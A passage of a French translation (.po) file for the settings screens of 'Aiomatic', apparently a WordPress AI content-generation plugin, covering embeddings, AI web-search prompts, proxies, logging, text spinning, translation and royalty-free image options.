details about Embeddings, check " msgstr "Plus de détails sur Embeddings, consultez " #: res/aiomatic-main.php:3631 msgid "the 'AI Embeddings' settings page" msgstr "la page des paramètres 'IA embeddings'" #: res/aiomatic-main.php:3633 msgid "AI Embeddings Settings:" msgstr "Paramètres d’intégration/Embeddings de l’IA :" #: res/aiomatic-main.php:3640 msgid "" "After creating your Pinecone API, create a new index. Make sure to set your " "dimension to 1536 and also make sure to set your metric to cosine. Enter the " "generated index ID here." msgstr "" "Après avoir créé votre API Pinecone, créez un nouvel index. Veillez à " "définir votre dimension à 1536 et votre métrique à cosinus. Saisissez l'ID " "de l'index généré ici." #: res/aiomatic-main.php:3644 msgid "Pinecone Index:" msgstr "Index Pinecone :" #: res/aiomatic-main.php:3659 msgid "The number of results to return for each query." msgstr "Le nombre de résultats à renvoyer pour chaque requête." #: res/aiomatic-main.php:3663 msgid "Number Of Results To Query:" msgstr "Nombre de résultats pour la requête :" #: res/aiomatic-main.php:3678 msgid "Select the model you want to use for embeddings." msgstr "" "Sélectionnez le modèle que vous souhaitez utiliser pour les encastrements." #: res/aiomatic-main.php:3682 msgid "Embeddings Model:" msgstr "Modèle d'intégration :" #: res/aiomatic-main.php:3703 msgid "Enable embeddings for chat." msgstr "Activer les embeddings pour le chat." #: res/aiomatic-main.php:3707 msgid "Enable Embeddings For:" msgstr "Activez les Embeddings pour :" #: res/aiomatic-main.php:3728 res/aiomatic-main.php:4091 msgid "Content Editing" msgstr "Édition de contenu" #: res/aiomatic-main.php:3734 res/aiomatic-main.php:4097 msgid "Chatbot Shortcodes" msgstr "Chatbot Shortcodes" #: res/aiomatic-main.php:3740 res/aiomatic-main.php:4103 msgid "Text Completion Shortcodes" msgstr "Codes courts de complétion de texte" #: res/aiomatic-main.php:3746 res/aiomatic-main.php:4109 msgid "Text Editing Shortcode" msgstr "Code court d’édition de texte" #: res/aiomatic-main.php:3752 res/aiomatic-main.php:4115 msgid "Related Questions Creation" msgstr "Questions relatives à la création" #: res/aiomatic-main.php:3768 msgid "AI Embeddings Auto Indexing Settings:" msgstr "Paramètres d'indexation automatique des AI Embeddings :" #: res/aiomatic-main.php:3775 msgid "" "Select the post types for which you want to enable embeddings auto indexing." msgstr "" "Sélectionnez les types d'articles pour lesquels vous souhaitez activer " "l'indexation automatique des embeddings." #: res/aiomatic-main.php:3779 msgid "Enable Embeddings Auto Indexing For Newly Published:" msgstr "" "Activer l'indexation automatique des Embeddings pour les nouvelles " "publications :" #: res/aiomatic-main.php:3796 msgid "AI Embeddings Template Settings:" msgstr "Paramètres du modèle d'intégration AI :" #: res/aiomatic-main.php:3803 #, php-format msgid "" "Select the template of the embedding which will be saved in the database. " "You can use the following shortcodes: %%post_title%%, %%post_content%%, " "%%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field " "is: %%post_title%% -- %%post_excerpt%% -- Read more at: %%post_url%%" msgstr "" "Sélectionnez le modèle d'intégration qui sera enregistré dans la base de " "données. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, " "%%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. La valeur par " "défaut de ce champ est : %%post_title%% -- %%post_excerpt%% -- Lire la suite " "sur : %%post_url%%" #: res/aiomatic-main.php:3807 msgid "Auto Created Embeddings Template:" msgstr "Modèle Template d'intégration automatique :" #: res/aiomatic-main.php:3810 msgid "Set a template to use for auto created embeddings" msgstr "Définir un modèle à utiliser pour la création automatique d'embeddings" #: res/aiomatic-main.php:3815 msgid "AI Embeddings Optimization Settings:" msgstr "Paramètres d'optimisation des enregistrements AI :" #: res/aiomatic-main.php:3822 msgid "" "Do you want to rewrite content using AI before sending it to the embedding?" msgstr "" "Voulez-vous réécrire le contenu à l'aide de l'IA avant de l'envoyer à " "l'intégration ?" #: res/aiomatic-main.php:3826 #, php-format msgid "Optimize The %%post_content%% Shortcode Using AI:" msgstr "Optimiser le shortcode %%post_content%% à l'aide de l'IA :" #: res/aiomatic-main.php:3841 #, php-format msgid "" "Do you want to rewrite content using AI before sending it to the embedding? " "This will rewrite the %%post_content%% in the 'Embedding Template' settings " "field - so be sure to use the %%post_content%% shortcode in the 'Embedding " "Template' settings field, if you are wanting to optimize the content for it " "using this feature. You can use the following shortcodes: %%post_title%%, " "%%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default " "value of this field is: Revise the given content concisely, preserving its " "style and information, while ensuring the revised text stays within 300 " "words. Each paragraph should range between 60 to 120 words. Exclude non-" "textual elements and unnecessary repetition. Conclude with a statement " "directing readers to find more information at %%post_url%%. If these " "guidelines cannot be met, send an empty response. The content is as follows: " "%%post_content%%" msgstr "" "Souhaitez-vous réécrire le contenu à l'aide de l'IA avant de l'envoyer à " "l'intégration ? Cela réécrira le %%post_content%% dans le champ de " "configuration \"Embedding Template\" - assurez-vous donc d'utiliser le " "shortcode %%post_content%% dans le champ de configuration \"Embedding " "Template\", si vous souhaitez optimiser le contenu à l'aide de cette " "fonctionnalité. Vous pouvez utiliser les shortcodes suivants : " "%%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, " "%%post_id%%. La valeur par défaut de ce champ est : Révisez le contenu donné " "de manière concise, en préservant son style et ses informations, tout en " "veillant à ce que le texte révisé ne dépasse pas 300 mots. Chaque paragraphe " "doit compter entre 60 et 120 mots. Exclure les éléments non textuels et les " "répétitions inutiles. Concluez par une déclaration invitant les lecteurs à " "trouver davantage d'informations à l'adresse %%post_url%%. Si ces lignes " "directrices ne peuvent être respectées, envoyez une réponse vide. Le contenu " "est le suivant : %%post_content%%" #: res/aiomatic-main.php:3845 #, php-format msgid "Embedding Content Rewriter Prompt (%%post_content%%):" msgstr "Intégration d'une invite de réécriture de contenu (%%post_content%%) :" #: res/aiomatic-main.php:3848 msgid "Add your embedding rewriter prompt" msgstr "Ajoute ton embedding de réécriture d'intégration" #: res/aiomatic-main.php:3859 msgid "" "Select the model you want to use for embedding content rewriting and " "optimizing." msgstr "" "Sélectionnez le modèle que vous souhaitez utiliser pour intégrer la " "réécriture et l'optimisation du contenu." #: res/aiomatic-main.php:3863 msgid "Embedding Content Rewriter Model:" msgstr "Intégration du modèle de réécriture de contenu :" #: res/aiomatic-main.php:3889 msgid "" "You need to enter a Pinecone.io API key in the 'API Keys' tab and save " "settings, to use this feature." msgstr "" "Vous devez entrer une clé API de Pinecone.io dans l'onglet \"Clés API\" et " "enregistrer les paramètres, pour utiliser cette fonctionnalité." #: res/aiomatic-main.php:3895 msgid "AI Internet Access Settings" msgstr "Paramètres d’accès à Internet IA" #: res/aiomatic-main.php:3895 msgid "check this feature's tutorial" msgstr "consultez le tutoriel de cette fonctionnalité" #: res/aiomatic-main.php:3902 #, php-format msgid "" "Modify the prompt for the AI writer, using the below template, adding also " "information extracted from the internet. You can use the following " "shortcodes: %%original_query%% (to add the original search query), " "%%current_date%% (to add the current date), %%web_results%% (to add the " "search query results)." msgstr "" "Modifiez le Prompt pour le rédacteur IA, en utilisant le modèle ci-dessous, " "en ajoutant également des informations extraites de l'internet. Vous pouvez " "utiliser les shortcodes suivants : %%original_query%% (pour ajouter la " "requête de recherche originale), %%current_date%% (pour ajouter la date " "actuelle), %%web_results%% (pour ajouter les résultats de la requête de " "recherche)." #: res/aiomatic-main.php:3906 msgid "Modify Prompt For the AI Writer Using Internet Search Results:" msgstr "" "Modifier du Prompt pour le rédacteur IA à l'aide des résultats de la " "recherche sur Internet :" #: res/aiomatic-main.php:3906 res/aiomatic-main.php:3927 msgid "Restore To Default" msgstr "Rétablir les paramètres par défaut" #: res/aiomatic-main.php:3911 msgid "Add the edited prompt" msgstr "Ajouter le Prompt modifié" #: res/aiomatic-main.php:3923 #, php-format msgid "" "Modify the template of the %%web_results%% shortcode. You will be able to " "use the following shortcodes: %%result_counter%% (to add the index of the " "current result), %%result_title%% (to add the title of the current result), " "%%result_snippet%% (to add the snippet of the current result), " "%%result_link%% (to add the URL of the current result). The default value " "for this settings field is: [%%result_counter%%]: %%result_title%% " "%%result_snippet%% URL: %%result_link%%" msgstr "" "Modifiez le modèle du shortcode %%web_results%%. Vous pourrez utiliser les " "shortcodes suivants : %%result_counter%% (pour ajouter l'index du résultat " "courant), %%result_title%% (pour ajouter le titre du résultat courant), " "%%result_snippet%% (pour ajouter le snippet du résultat courant), " "%%result_link%% (pour ajouter l'URL du résultat courant). La valeur par " "défaut de ce champ est : [%%result_counter%%] : %%result_title%% " "%%result_snippet%% URL : %%result_link%%" #: res/aiomatic-main.php:3927 #, php-format msgid "Template For the %%web_results%% Shortcode:" msgstr "Modèle pour le shortcode %%web_results%% :" #: res/aiomatic-main.php:3932 #, php-format msgid "Add the %%web_results%% shortcode template" msgstr "Ajouter le modèle de shortcode %%web_results%%" #: res/aiomatic-main.php:3944 #, php-format msgid "" "Prompt to use for keyword/keyphrase extraction from the submitted text (so " "the internet search will be more probable to return related results to the " "query sent to the AI). You can use the following shortcode here: " "%%original_prompt%%. The default value for this settings is: Using which " "keyword or phrase should I search the internet, so I get results related to " "this text: \"%%original_prompt%%\"?" msgstr "" "Prompt à utiliser pour l'extraction de mots-clés/phrases-clés du texte " "soumis (afin que la recherche sur internet soit plus susceptible de renvoyer " "des résultats liés à la requête envoyée à l'IA). Vous pouvez utiliser le " "shortcode suivant ici : %%original_prompt%%. La valeur par défaut de ce " "paramètre est : %%original_prompt%% : À l'aide de quel mot-clé ou de quelle " "phrase dois-je effectuer une recherche sur l'internet, afin d'obtenir des " "résultats en rapport avec ce texte : \"%%original_prompt%%\"?" #: res/aiomatic-main.php:3948 msgid "Keyword Extractor Prompt (Optional):" msgstr "Extracteur de mots clés pour Prompt (facultatif) :" #: res/aiomatic-main.php:3953 #, php-format msgid "" "Using which keyword or phrase should I search the internet, so I get results " "related to this text: \"%%original_prompt%%\"?" msgstr "" "Quel est le mot clé ou l'expression que je dois utiliser pour effectuer une " "recherche sur Internet afin d'obtenir des résultats en rapport avec ce " "texte ? \"%%original_prompt%%\"?" #: res/aiomatic-main.php:3965 msgid "" "Select the model you want to use for keyword extraction, for internet search " "results." msgstr "" "Sélectionnez le modèle que vous souhaitez utiliser pour l'extraction de mots-" "clés, pour les résultats de recherche sur Internet." #: res/aiomatic-main.php:3969 msgid "Keyword Extractor Model (Optional):" msgstr "Modèle d'extracteur de mots-clés (optionnel) :" #: res/aiomatic-main.php:3996 #, php-format msgid "" "Select the number of search results to add in the %%web_results%% shortcode. " "The default value for this settings is : 3" msgstr "" "Sélectionnez le nombre de résultats de recherche à ajouter dans le shortcode " "%%web_results%%. La valeur par défaut de ce paramètre est : 3" #: res/aiomatic-main.php:4000 #, php-format msgid "Number Of Search Results To Add (In The %%web_results%% Shortcode):" msgstr "" "Nombre de résultats de recherche à ajouter (dans le %%web_results%% " "shortcode) :" #: res/aiomatic-main.php:4010 msgid "1" msgstr "1" #: res/aiomatic-main.php:4015 msgid "2" msgstr "2" #: res/aiomatic-main.php:4020 msgid "3" msgstr "3" #: res/aiomatic-main.php:4025 msgid "4" msgstr "4" #: res/aiomatic-main.php:4030 msgid "5" msgstr "5" #: res/aiomatic-main.php:4035 msgid "6" msgstr "6" #: res/aiomatic-main.php:4040 msgid "7" msgstr "7" #: res/aiomatic-main.php:4045 msgid "8" msgstr "8" #: res/aiomatic-main.php:4050 msgid "9" msgstr "9" #: res/aiomatic-main.php:4055 msgid "10" msgstr "10" #: res/aiomatic-main.php:4066 msgid "Enable AI internet access for the following features of the plugin." msgstr "" "Activer l'accès à l'internet IA pour les fonctionnalités suivantes du plugin." #: res/aiomatic-main.php:4070 msgid "Enable AI Internet Access For:" msgstr "Activer l'accès Internet IA pour :" #: res/aiomatic-main.php:4138 msgid "Plugin General Settings:" msgstr "Paramètres généraux du plugin :" #: res/aiomatic-main.php:4145 msgid "Do you want to enable logging for rules?" msgstr "Souhaitez-vous activer la journalisation des règles ?" #: res/aiomatic-main.php:4149 msgid "Enable Logging for Rules:" msgstr "Activer la journalisation des règles :" #: res/aiomatic-main.php:4164 msgid "" "Do you want to enable detailed logging for rules? Note that this will " "dramatically increase the size of the log this plugin generates." msgstr "" "Voulez-vous activer la journalisation détaillée des règles ? Notez que cela " "augmentera considérablement la taille du journal généré par ce plugin." #: res/aiomatic-main.php:4168 msgid "Enable Detailed Logging for Rules:" msgstr "Activer la journalisation détaillée des règles :" #: res/aiomatic-main.php:4186 msgid "Choose if you want to automatically clear logs after a period of time." msgstr "" "Choisissez si vous souhaitez effacer automatiquement les journaux après un " "certain temps." #: res/aiomatic-main.php:4190 msgid "Automatically Clear Logs After:" msgstr "Effacer automatiquement les journaux après :" #: res/aiomatic-main.php:4205 res/aiomatic-spinner-list.php:2285 msgid "Once a month" msgstr "Une fois par mois" #: res/aiomatic-main.php:4210 res/aiomatic-spinner-list.php:2290 msgid "Once a week" msgstr "Une fois par semaine" #: res/aiomatic-main.php:4215 res/aiomatic-spinner-list.php:2295 msgid "Once a day" msgstr "Une fois par jour" #: res/aiomatic-main.php:4220 res/aiomatic-spinner-list.php:2300 msgid "Twice a day" msgstr "Deux fois par jour" #: res/aiomatic-main.php:4225 res/aiomatic-spinner-list.php:2305 msgid "Once an hour" msgstr "Une fois par heure" #: res/aiomatic-main.php:4236 msgid "" "If you want to use a proxy to crawl webpages, input it's address here. " "Required format: IP Address/URL:port. You can input a comma separated list " "of proxies." msgstr "" "Si vous souhaitez utiliser un proxy pour explorer des pages web, indiquez " "son adresse ici. Format requis : Adresse IP/URL:port. Vous pouvez saisir une " "liste de mandataires séparés par des virgules." #: res/aiomatic-main.php:4240 msgid "Web Proxy Address List:" msgstr "Liste d'adresses de proxy Web :" #: res/aiomatic-main.php:4245 msgid "Input web proxy url" msgstr "URL du proxy Web" #: res/aiomatic-main.php:4255 msgid "" "If you want to use a proxy to crawl webpages, and it requires " "authentification, input it's authentification details here. Required format: " "username:password. You can input a comma separated list of users/passwords. " "If a proxy does not have a user/password, please leave it blank in the list. " "Example: user1:pass1,user2:pass2,,user4:pass4." msgstr "" "Si vous souhaitez utiliser un proxy pour explorer des pages web et qu'il " "nécessite une authentification, entrez ici ses informations " "d'authentification. Format requis : nom d'utilisateur:mot de passe. Vous " "pouvez saisir une liste d'utilisateurs/mots de passe séparés par des " "virgules. Si un proxy n'a pas d'utilisateur/mot de passe, laissez-le vide " "dans la liste. Exemple : user1:pass1,user2:pass2,,user4:pass4." #: res/aiomatic-main.php:4259 msgid "Web Proxy Authentication:" msgstr "Authentification du proxy Web :" #: res/aiomatic-main.php:4264 msgid "Input web proxy auth" msgstr "Authentification du proxy Web" #: res/aiomatic-main.php:4274 msgid "" "Set the timeout (in seconds) for every rule running and also for automatic " "post editing. I recommend that you leave this field at it's default value " "(3600)." msgstr "" "Définissez le délai d'attente (en secondes) pour chaque règle en cours " "d'exécution et pour l'édition automatique des messages. Je vous recommande " "de laisser ce champ à sa valeur par défaut (3600)." #: res/aiomatic-main.php:4278 msgid "Timeout for Processing (seconds):" msgstr "Délai d’expiration de l’exécution de la règle (secondes) :" #: res/aiomatic-main.php:4283 msgid "Input rule timeout in seconds" msgstr "Délai en seconds d’expiration de la règle" #: res/aiomatic-main.php:4295 msgid "" "Set the timeout (in milliseconds) between each subsequent API call. This " "will allow API call throttling, so the API call quota limit is not reached " "for your account." msgstr "" "Définissez le délai d'attente (en millisecondes) entre chaque appel " "ultérieur à l'API. Cela permettra de limiter les appels à l'API, de sorte " "que le quota d'appels à l'API ne soit pas atteint pour votre compte." #: res/aiomatic-main.php:4299 msgid "Delay Between Multiple API Requests:" msgstr "Délai entre plusieurs demandes d'API :" #: res/aiomatic-main.php:4304 msgid "Input request delay" msgstr "Délai de demande d’entrée" #: res/aiomatic-main.php:4314 msgid "Set the maximum width of the player in pixels. Default value is 580." msgstr "" "Définit la largeur maximale du lecteur en pixels. La valeur par défaut est " "580." #: res/aiomatic-main.php:4318 msgid "Player Max Width (Pixels):" msgstr "Largeur maximale du lecteur (pixels) :" #: res/aiomatic-main.php:4323 msgid "580" msgstr "580" #: res/aiomatic-main.php:4335 msgid "Set the maximum height of the player in pixels. Default value is 380." msgstr "" "Définit la hauteur maximale du lecteur en pixels. La valeur par défaut est " "380." #: res/aiomatic-main.php:4339 msgid "Player Max Height (Pixels):" msgstr "Hauteur maximale du lecteur (pixels) :" #: res/aiomatic-main.php:4344 msgid "380" msgstr "380" #: res/aiomatic-main.php:4356 msgid "" "Resize the image that was assigned to be the featured image to the width " "specified in this text field (in pixels). If you want to disable this " "feature, leave this field blank." msgstr "" "Redimensionner l'image qui a été assignée à l'image vedette à la largeur " "spécifiée dans ce champ de texte (en pixels). Si vous souhaitez désactiver " "cette fonctionnalité, laissez ce champ vide." #: res/aiomatic-main.php:4360 msgid "Featured Image Resize Width:" msgstr "Redimensionnement de l'image vedette Largeur :" #: res/aiomatic-main.php:4365 msgid "Please insert the desired width for featured images" msgstr "Veuillez insérer la largeur souhaitée pour les images en vedette" #: res/aiomatic-main.php:4375 msgid "" "Resize the image that was assigned to be the featured image to the height " "specified in this text field (in pixels). If you want to disable this " "feature, leave this field blank." msgstr "" "Redimensionner l'image qui a été assignée à l'image vedette à la hauteur " "spécifiée dans ce champ de texte (en pixels). Si vous souhaitez désactiver " "cette fonctionnalité, laissez ce champ vide." #: res/aiomatic-main.php:4379 msgid "Featured Image Resize Height:" msgstr "Hauteur de redimensionnement de l’image en vedette :" #: res/aiomatic-main.php:4384 msgid "Please insert the desired height for featured images" msgstr "Veuillez indiquer la hauteur souhaitée pour les images en vedette" #: res/aiomatic-main.php:4394 msgid "Do you want to enable swear word filtering for created content?" msgstr "Voulez-vous activer le filtrage des gros mots pour le contenu créé ?" #: res/aiomatic-main.php:4398 msgid "Enable Swear Word Filtering:" msgstr "Activer le filtrage des gros mots / jurons :" #: res/aiomatic-main.php:4416 msgid "Do you want to disable the Media Library extension of the plugin?" msgstr "Voulez-vous désactiver l'extension Media Library du plugin ?" #: res/aiomatic-main.php:4420 msgid "Disable Media Library Extension:" msgstr "Désactiver l'extension Media Library :" #: res/aiomatic-main.php:4431 msgid "Plugin Advanced Settings:" msgstr "Paramètres avancés du plug-in :" #: res/aiomatic-main.php:4438 msgid "" "Set the maximum number of times the plugin will retry API calls in case they " "fail. This is useful, as in some cases OpenAI API is failing and a retry " "will work. To disable this feature, leave this field blank." msgstr "" "Définit le nombre maximum de fois que le plugin va réessayer les appels à " "l'API en cas d'échec. Ceci est utile, car dans certains cas, l'API OpenAI " "échoue et une nouvelle tentative fonctionnera. Pour désactiver cette " "fonctionnalité, laissez ce champ vide." #: res/aiomatic-main.php:4442 msgid "How Many Times To Retry API Calls In Case Of API Failure:" msgstr "Nombre de tentatives d'appels API en cas d'échec de l'API :" #: res/aiomatic-main.php:4447 msgid "API retry max count" msgstr "Nombre maximum de tentatives de l'API" #: res/aiomatic-main.php:4459 msgid "" "Set the maximum number of times the plugin will retry chat API calls in case " "the AI writer considers the chat as ended. Warning, this can consume more " "tokens, as it will retry API calls multiple times. To disable this feature, " "leave this field blank." msgstr "" "Définit le nombre maximum de fois que le plugin va réessayer les appels à " "l'API de chat dans le cas où l'auteur de l'IA considère que le chat est " "terminé. Attention, cela peut consommer plus de tokens, car le plugin " "relance les appels à l'API plusieurs fois. Pour désactiver cette " "fonctionnalité, laissez ce champ vide." #: res/aiomatic-main.php:4463 msgid "Chat End of Conversation Retry Count:" msgstr "Nombre de nouvelles tentatives de fin de conversation par chat :" #: res/aiomatic-main.php:4468 msgid "Chat end API retry max count" msgstr "Nombre maximum de tentatives de l'API de fin de chat" #: res/aiomatic-main.php:4481 msgid "" "If you want to create long content (over 10000 words) in a single post and " "you are getting undesired results, you can check this checkbox for a fix." msgstr "" "Si vous souhaitez créer un contenu long (plus de 10000 mots) dans un seul " "article et que vous obtenez des résultats indésirables, vous pouvez cocher " "cette case pour y remédier." #: res/aiomatic-main.php:4485 msgid "Use Alternate Continue Tokens (Experimental):" msgstr "Utiliser d'autres jetons de continuation (expérimental) :" #: res/aiomatic-main.php:4501 msgid "" "If you are using content editing which contain Chinese characters, you can " "try checking this checkbox." msgstr "" "Si vous utilisez l'édition de contenu qui contient des caractères chinois, " "vous pouvez essayer de cocher cette case." #: res/aiomatic-main.php:4505 msgid "Don't Send Maximum Tokens In API Request (Experimental):" msgstr "" "Ne pas envoyer le maximum de jetons dans les demandes d'API (expérimental) :" #: res/aiomatic-main.php:4521 msgid "" "Select if you want to use the Bing search results to get related headings " "for created articles." msgstr "" "Sélectionnez si vous souhaitez utiliser les résultats de la recherche Bing " "pour obtenir des titres connexes pour les articles créés." #: res/aiomatic-main.php:4525 msgid "Disable Bing Search Scraping To Get More Headings:" msgstr "Désactiver le scraping de Bing Search pour obtenir plus d'en-têtes :" #: res/aiomatic-main.php:4541 msgid "" "Select if you want to use the AI writer to get related headings for created " "articles." msgstr "" "Sélectionnez si vous souhaitez utiliser le rédacteur d'IA pour obtenir des " "titres connexes pour les articles créés." #: res/aiomatic-main.php:4545 msgid "Disable AI Writer Usage To Get More Headings:" msgstr "Désactiver l'utilisation de IA Writer pour obtenir plus de titres :" #: res/aiomatic-main.php:4558 msgid "Spin & Translate:" msgstr "Spin & Traduire :" #: res/aiomatic-main.php:4565 msgid "" "Do you want to automatically translate generated content using Google " "Translate?" msgstr "" "Voulez-vous traduire automatiquement le contenu généré à l'aide de Google " "Translate ?" #: res/aiomatic-main.php:4569 msgid "Automatically Translate Content To:" msgstr "Traduire automatiquement le contenu vers :" #: res/aiomatic-main.php:4569 msgid "Info:" msgstr "Info :" #: res/aiomatic-main.php:4569 msgid "for translation, the plugin also supports WPML." msgstr "pour la traduction, le plugin prend également en charge WPML." #: res/aiomatic-main.php:4569 msgid "Get WPML now!" msgstr "Obtenez WPML maintenant!" #: res/aiomatic-main.php:4620 msgid "Select the source language of the translation." msgstr "Sélectionnez la langue source de la traduction." #: res/aiomatic-main.php:4624 msgid "Translation Source Language:" msgstr "Langue source de traduction :" #: res/aiomatic-main.php:4672 msgid "Don't have an 'The Best Spinner' account yet? Click here to get one:" msgstr "" "Vous n'avez pas encore de compte 'The Best Spinner' ? Cliquez ici pour en " "créer un :" #: res/aiomatic-main.php:4672 res/aiomatic-main.php:4675 #: res/aiomatic-main.php:4678 res/aiomatic-main.php:4681 #: res/aiomatic-main.php:4684 res/aiomatic-main.php:4687 msgid "get a new account now!" msgstr "obtenez un nouveau compte maintenant !" #: res/aiomatic-main.php:4675 msgid "Don't have an 'WordAI' account yet? Click here to get one:" msgstr "" "Vous n'avez pas encore de compte WordAI ? Cliquez ici pour en obtenir un :" #: res/aiomatic-main.php:4678 msgid "Don't have an 'SpinRewriter' account yet? Click here to get one:" msgstr "" "Vous n'avez pas encore de compte 'SpinRewriter' ? Cliquez ici pour en " "obtenir un :" #: res/aiomatic-main.php:4681 msgid "Don't have an 'SpinnerChief' account yet? Click here to get one:" msgstr "" "Vous n'avez pas encore de compte 'SpinnerChief' ? Cliquez ici pour en " "obtenir un :" #: res/aiomatic-main.php:4684 msgid "Don't have an 'ContentProfessor' account yet? Click here to get one:" msgstr "" "Vous n'avez pas encore de compte ContentProfessor ? Cliquez ici pour en " "créer un :" #: res/aiomatic-main.php:4687 msgid "Don't have an 'ChimpRewriter' account yet? Click here to get one:" msgstr "" "Vous n'avez pas encore de compte 'ChimpRewriter' ? Cliquez ici pour en " "obtenir un :" #: res/aiomatic-main.php:4697 msgid "" "Do you want to randomize text by changing words of a text with synonyms " "using one of the listed methods? Note that this is an experimental feature " "and can in some instances drastically increase the rule running time!" msgstr "" "Vous souhaitez rendre un texte aléatoire en remplaçant des mots d'un texte " "par des synonymes à l'aide de l'une des méthodes répertoriées ? Notez qu'il " "s'agit d'une fonctionnalité expérimentale qui peut, dans certains cas, " "augmenter considérablement le temps d'exécution de la règle !" #: res/aiomatic-main.php:4701 msgid "Spin Text Using Word Synonyms (for automatically generated posts only):" msgstr "" "Faire tourner le texte à l'aide de mots synonymes (pour les articles générés " "automatiquement uniquement) :" #: res/aiomatic-main.php:4718 res/aiomatic-main.php:4726 #: res/aiomatic-main.php:4734 res/aiomatic-main.php:4742 #: res/aiomatic-main.php:4750 res/aiomatic-main.php:4758 msgid "High Quality - Paid" msgstr "Haute qualité - Payant" #: res/aiomatic-main.php:4765 msgid "Built-in - Medium Quality - Free" msgstr "Intégré - Qualité moyenne - Gratuit" #: res/aiomatic-main.php:4775 msgid "Do you want to not spin content (only title)?" msgstr "Souhaitez-vous ne pas filer le contenu (uniquement le titre) ?" #: res/aiomatic-main.php:4779 msgid "Do Not Spin Content, Only Title:" msgstr "Ne pas faire spiner / tourner le contenu mais seulement le titre :" #: res/aiomatic-main.php:4797 msgid "" "Select a list of comma separated words that you do not wish to spin (only " "for built-in spinners)." msgstr "" "Sélectionnez une liste de mots séparés par des virgules que vous ne " "souhaitez pas faire tourner (uniquement pour les spinners intégrés)." #: res/aiomatic-main.php:4801 msgid "Excluded Word List (For Built-In Spinner Only):" msgstr "Liste des mots exclus (uniquement pour le Spinner intégré) :" #: res/aiomatic-main.php:4808 msgid "word1, word2, word3" msgstr "mot1, mot2, mot3" #: res/aiomatic-main.php:4818 msgid "Insert your user name on premium spinner service." msgstr "Insérez votre nom d'utilisateur dans le service premium spinner." #: res/aiomatic-main.php:4822 msgid "Premium Spinner Service User Name/Email:" msgstr "Nom d’utilisateur/adresse e-mail du service Premium Spinner :" #: res/aiomatic-main.php:4829 msgid "Please insert your premium text spinner service user name" msgstr "" "Veuillez insérer votre nom d'utilisateur du service premium text spinner" #: res/aiomatic-main.php:4839 msgid "Insert your password for the selected premium spinner service." msgstr "Insérez votre mot de passe pour le service premium spinner service." #: res/aiomatic-main.php:4843 msgid "Premium Spinner Service Password/API Key:" msgstr "Mot de passe/clé API du service Premium Spinner :" #: res/aiomatic-main.php:4850 msgid "Please insert your premium text spinner service password" msgstr "" "Veuillez insérer votre mot de passe pour le service de filature de texte " "premium" #: res/aiomatic-main.php:4860 msgid "Royalty Free Image Options:" msgstr "Options d’image libre de droits :" #: res/aiomatic-main.php:4869 msgid "Royalty Free Image Search Options:" msgstr "Options de recherche d'images libres de droits :" #: res/aiomatic-main.php:4876 msgid "" "Select if you want to randomize the royalty free image sources order, at " "each run. If you check this checkbox, the above order will not be applied " "any more." msgstr "" "Sélectionnez si vous voulez randomiser l'ordre des sources d'images libres " "de droits, à chaque exécution. Si vous cochez cette case, l'ordre ci-dessus " "ne sera plus appliqué." #: res/aiomatic-main.php:4880 msgid "Do Not Randomize Royalty Free Source Order, But Use The Below Order: " msgstr "" "Ne pas choisir au hasard l'ordre des sources libres de droits, mais utiliser " "l'ordre ci-dessous : " #: res/aiomatic-main.php:4896 msgid "" "Select your prefered order in which you want to search royalty free image " "sources." msgstr "" "Sélectionnez l'ordre dans lequel vous souhaitez rechercher des sources " "d'images libres de droits." #: res/aiomatic-main.php:4900 msgid "Royalty Free Image Search Order:" msgstr "Ordre de recherche d'images libres de droits :" #: res/aiomatic-main.php:4912 msgid "No Royalty Free Image Sources Enabled" msgstr "Pas de sources d'images libres de droits activées" #: res/aiomatic-main.php:4929 msgid "" "Select if you want to randomize the search results order, of the returned " "images. This can lower the accuracy of images, but make images more unique." msgstr "" "Indiquez si vous souhaitez rendre aléatoire l'ordre des résultats de la " "recherche, des images renvoyées. Cela peut réduire la précision des images, " "mais les rendre plus uniques." #: res/aiomatic-main.php:4933 msgid "Do Not Randomize Royalty Free Image Results Order: " msgstr "Ne pas randomiser l'Ordre des résultats des images libres de droits : " #: res/aiomatic-main.php:4948 msgid "" "Select if you want to try to translate search query keywords to English. " "This can be useful for non-English languages." msgstr "" "Sélectionnez si vous voulez essayer de traduire les mots-clés de la requête " "de recherche en anglais. Cela peut être utile pour les langues autres que " "l'anglais." #: res/aiomatic-main.php:4952 msgid "Try To Translate Search Query Keywords To English: " msgstr "Essayez de traduire les mots-clés de la recherche en anglais : " #: res/aiomatic-main.php:4967 msgid "" "Select the maximum position of the images from the image search results. " "More relevant images are shown first in the royalty free image search " "results. Because of this, using here a number as low as 4 will make the " "plugin use only the first 4 image results which were returned by the royalty " "free image search. This can improve image precision. If you leave this field " "blank, the default value will be used: 4" msgstr "" "Sélectionnez la position maximale des images dans les résultats de la " "recherche d'images. Les images les plus pertinentes sont affichées en " "premier dans les résultats de la recherche d'images libres de droits. C'est " "pourquoi l'utilisation d'un nombre aussi bas que 4 fera en sorte que le " "plugin n'utilisera que les 4 premiers résultats de la recherche d'images " "libres de droits. Cela peut améliorer la précision de l'image. Si vous " "laissez ce champ vide, la valeur par défaut sera utilisée : 4" #: res/aiomatic-main.php:4971 msgid "Eligible Images Rank At Most At Position: " msgstr "Rank de l'Images éligibles au poste le plus au poste : " #: res/aiomatic-main.php:4983 msgid "" "Choose if you want to improve royalty free image importing, using the below " "services. These will extract keywords from the original text and provide " "better image quality results. If you select TextRazor, you also need to " "enter a TextRazor API key below. If you select OpenAI, you also need to " "enter a prompt for OpenAI keyword extraction, below. To enable TextRazor to " "be selected, please enter an API key for TextRazor below." msgstr "" "Choisissez si vous souhaitez améliorer l'importation d'images libres de " "droits en utilisant les services ci-dessous. Ceux-ci extrairont les mots-" "clés du texte original et fourniront des images de meilleure qualité. Si " "vous sélectionnez TextRazor, vous devez également saisir une clé API " "TextRazor ci-dessous. Si vous sélectionnez OpenAI, vous devez également " "saisir une invite pour l'extraction de mots-clés OpenAI, ci-dessous. Pour " "permettre à TextRazor d'être sélectionné, veuillez entrer une clé API pour " "TextRazor ci-dessous." #: res/aiomatic-main.php:4987 msgid "Improve Royalty Free Featured Image Precision Using This Service:" msgstr "" "Améliorer la précision des images vedettes libres de droits grâce à ce " "service :" #: res/aiomatic-main.php:5006 msgid "TextRazor" msgstr "TextRazor" #: 